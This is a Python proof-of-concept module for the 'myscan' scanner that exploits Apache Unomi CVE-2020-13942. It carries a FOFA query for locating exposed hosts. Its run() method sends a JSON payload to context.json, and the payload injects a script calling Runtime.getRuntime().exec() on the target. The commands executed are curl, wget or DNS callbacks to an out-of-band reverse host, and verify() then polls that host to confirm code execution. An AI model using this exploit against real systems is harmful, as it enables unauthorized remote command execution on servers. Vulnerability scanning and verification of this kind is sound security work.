# !/usr/bin/env python3
# @Time    : 2020/11/24
# @Author  : caicai
# @File    : poc_apache_unomi_cve-2020-13942_2020.py

'''
fofa:
body="apache Unomi"
'''

from myscan.lib.core.common_reverse import generate_reverse_payloads, query_reverse, generate
from myscan.lib.helper.request import request  # 修改了requests.request请求的库，建议使用此库，会在redis计数
from myscan.lib.parse.dictdata_parser import dictdata_parser
from myscan.lib.core.threads import mythread


class POC():
    def __init__(self, workdata):
        self.dictdata = workdata.get("dictdata")  # python的dict数据，详情请看docs/开发指南Example dict数据示例
        self.url = workdata.get("data")  # self.url为需要测试的url，值为目录url，会以/结尾,如https://www.baidu.com/home/ ,为目录
        self.result = []  # 此result保存dict数据，dict需包含name,url,level,detail字段，detail字段值必须为dict。如下self.result.append代码
        self.name = "unomi_cve-2020-13942"
        self.vulmsg = "detail: https://mp.weixin.qq.com/s/fQSRXk9FilS4ImUOH5lvuQ"
        self.level = 3  # 0:Low  1:Medium 2:High
        self.success = False

    def verify(self):
        # 限定一下目录深度,reverse还是严格点
        if self.url.count("/") != 3:
            return

        reverse_urls, hexdata_url = generate_reverse_payloads(self.name)
        reverse_dnscmd, hexdata_dns = generate_reverse_payloads(self.name, "dns")

        # reverse_urls_ = filter(lambda x: x.startswith("curl") or x.startswith("wget"), reverse_urls)

        tasks = reverse_dnscmd + reverse_urls
        mythread(self.run, tasks)

        sleep = True
        for hexdata in [hexdata_url, hexdata_dns]:
            query_res, _ = query_reverse(hexdata, sleep)
            sleep = False
            if query_res:
                parser_ = dictdata_parser(self.dictdata)
                self.result.append({
                    "name": self.name,
                    "url": self.url,
                    "level": self.level,  # 0:Low  1:Medium 2:High
                    "detail": {
                        "vulmsg": self.vulmsg,
                        "others:": "{} in dnslog".format(hexdata),
                        "request": parser_.getrequestraw(),
                        "response": parser_.getresponseraw()
                    }
                })
                break

    def run(self, cmd):
        req = {
            "method": "POST",
            "url": self.url + "context.json",
            "data": r'''{
    "filters": [
        {
            "id": "boom",
            "filters": [
                {
                    "condition": {
                         "parameterValues": {
                            "": "script::Runtime r = Runtime.getRuntime(); r.exec(\"%s\");"
                        },
                        "type": "profilePropertyCondition"
                    }
                }
            ]
        }
    ],
    "sessionId": "boom"
}''' % (cmd),
            "allow_redirects": False,
            "verify": False,
            "timeout": 10
        }
        r = request(**req)
